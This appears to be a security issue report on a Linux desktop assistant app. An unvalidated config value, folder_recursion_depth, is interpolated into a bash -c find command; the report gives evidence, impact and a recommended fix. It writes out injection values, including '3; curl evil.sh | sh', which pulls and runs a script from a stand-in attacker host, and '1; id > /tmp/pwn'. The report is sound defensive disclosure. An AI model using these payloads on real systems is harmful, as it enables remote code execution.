[LOW] folder_recursion_depth config value is interpolated unvalidated into a bash -c find script #46

Summary

The home-directory scan builds a shell script by interpolating the config value folder_recursion_depth straight into a bash -c script — unvalidated and unescaped:

• lib/services/linux.dart:936 — final int depth = ConfigHandler().getValueUnsafe("folder_recursion_depth", 3); (declared int but getValueUnsafe returns dynamic; no parse/validation anywhere)
• lib/services/linux.dart:942-946 — the sink:

  await Linux.runCommandWithCustomArguments(
    "bash",
    [
      "-c",
      "find '${home.replaceAll("'", r"'\''")}' -maxdepth $depth -type d"
    ],
    environment: {"PWD": "/"},
  );

The $home interpolation is correctly single-quote-escaped, and $depth's line even documents quoting for the path — but $depth itself is interpolated into the script text with no integer validation. The setting is never written by the settings UI (lib/layouts/settings/search_settings.dart:41 has the toggle commented out), so the only writer is the user-editable config file — but anything that reads the config with getValueUnsafe accepts whatever the file contains, including a non-numeric or shell-bearing value.

Impact

OS command injection from app config: a folder_recursion_depth value of 3; curl evil.sh | sh (or simply 3 -o, which silently changes find semantics) is executed as /bin/sh source when the app builds its folder search index. The privilege is the desktop user's own account — the config file is user-writable, so this is not a privilege boundary crossing — but it violates the repo's own invariant that every value reaching a shell script is a validated constant (see the comment at lib/services/linux.dart:3266-3269 acknowledging exactly this assumption, and the fixed keyword-search site at lib/services/linux.dart:1470-1474). Secondary impact: a non-integer value makes find fail, silently yielding an empty folder list.

Complexity

• Complexity: 1 (Trivial)

Evidence

// lib/services/linux.dart:935-947
final int depth =
    ConfigHandler().getValueUnsafe("folder_recursion_depth", 3);
final String home = homeFolder.endsWith("/")
    ? homeFolder.substring(0, homeFolder.length - 1)
    : home;

await Linux.runCommandWithCustomArguments(
  "bash",
  [
    "-c",
    "find '${home.replaceAll("'", r"'\''")}' -maxdepth $depth -type d"
  ],
  environment: {"PWD": "/"},
).then((value) {

Reproduction (no app run needed — the script text is built verbatim):

grep -n 'maxdepth \$depth' lib/services/linux.dart   # shows the unvalidated interpolation

With a config file containing folder_recursion_depth: "1; id > /tmp/pwn", the executed command becomes find '<home>' -maxdepth 1; id > /tmp/pwn -type d → id > /tmp/pwn runs.

Recommended Fix

1. Validate at the boundary: final int depth = int.tryParse(ConfigHandler().getValueUnsafe("folder_recursion_depth", 3).toString()) ?? 3; (or have the helper return the typed value with a bounded range, e.g. clamp to 1..10).
2. Optionally pass the depth as an argv element instead of interpolating it into the script text: ["-c", "find '$escapedHome' -maxdepth \"\$1\" -type d", "la", "$depth"] — matching the pattern already used at lib/services/linux.dart:3304-3309 (printf '%s\n' "$1" >> "$2").
3. Add a small unit test feeding a malicious config value through the script-building path.

Related context: #42 tracks the systemic runInShell default; this issue survives that fix because it is script-text interpolation into an explicit bash -c, not argv shell-joining.

References

• OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
• The repo's own precedent for this fix class: lib/services/linux.dart:1470-1474 (keyword search quote-unwinding fix) and lib/services/linux.dart:3304-3309 (positional-parameter pattern)

Validation

attacker_source: user-editable app config file (~/.config/linux-assistant or ConfigHandler store), key folder_recursion_depth
missing_guard: no int.tryParse / range validation on the config value before interpolation
sink_effect: value is interpolated into a bash -c script string that is executed to enumerate the home directory, so shell metacharacters in the value run as shell source with the desktop user's privileges
preconditions: config file contains a non-integer or shell-metacharacter value for folder_recursion_depth; user opens the main search / folder scan runs
proof_anchors: lib/services/linux.dart:936 (`ConfigHandler().getValueUnsafe("folder_recursion_depth", 3)` into an `int`), lib/services/linux.dart:945 (`-maxdepth $depth` inside the bash -c script string)
suggested_validation: sed -n '935,947p' lib/services/linux.dart  # then: dart test with a config value of "1; touch /tmp/pwn" asserting the built script contains no unescaped depth